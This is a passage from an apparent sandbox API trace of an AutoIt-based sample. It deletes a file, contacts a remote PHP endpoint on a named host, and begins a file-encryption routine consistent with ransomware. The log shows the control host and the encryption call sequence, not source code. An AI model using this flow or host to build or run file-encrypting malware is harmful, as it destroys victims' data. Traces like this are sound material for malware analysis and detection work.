wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.152] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.152] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\desktop.ini", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\desktop.ini", lpFilePart=0x0) returned 0x2b [0070.152] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\desktop.ini")) returned 0x26 [0070.152] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\desktop.ini", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c4f0 [0070.152] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\desktop.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\desktop.ini")) returned 1 [0070.153] FindNextFileW (in: hFindFile=0x164c4f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0070.154] FindClose (in: hFindFile=0x164c4f0 | out: hFindFile=0x164c4f0) returned 1 [0070.154] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.154] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.154] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.154] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.154] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\DhTjdy.ots", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0070.154] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0070.154] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.154] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0070.155] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.155] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0070.155] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0070.155] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d60, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d60, lpdwBufferLength=0x130ef8c) returned 1 [0070.155] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.155] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.155] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.156] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0070.156] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0070.156] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0070.156] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0070.156] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0070.156] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.157] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.157] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.157] CloseHandle (hObject=0x0) returned 0 [0070.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DhTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hTjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tjdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jdy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dy.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y.ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0070.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ots", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.159] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.159] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0070.159] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.159] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0070.159] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0070.160] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.160] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0070.160] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0070.160] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e98, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e98, lpdwBufferLength=0x130ee1c) returned 1 [0070.160] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.160] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.160] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.161] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0070.161] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0070.161] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0070.161] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0070.161] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0070.161] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.162] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.162] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.162] CloseHandle (hObject=0x0) returned 0 [0070.162] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.162] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\DhTjdy.ots", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0070.162] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0070.162] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.162] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.162] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.163] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.163] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.163] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.163] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0070.163] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.163] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.163] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0070.163] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.163] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.163] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.163] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.163] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.163] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0070.164] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0070.164] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0070.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0070.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0070.165] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0070.165] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa918) returned 1 [0070.165] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.165] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.165] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0070.166] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.166] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.166] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.166] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.166] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.166] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.166] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.166] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.166] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.166] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.166] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.166] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.166] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0070.166] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.166] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.167] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.167] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.167] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.167] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.167] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.167] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.167] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.167] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.167] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.167] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.167] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.167] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.167] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.167] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.167] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.168] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.168] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621420, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0070.168] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0070.168] CryptCreateHash (in: hProv=0x17aa918, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0070.168] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.168] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | 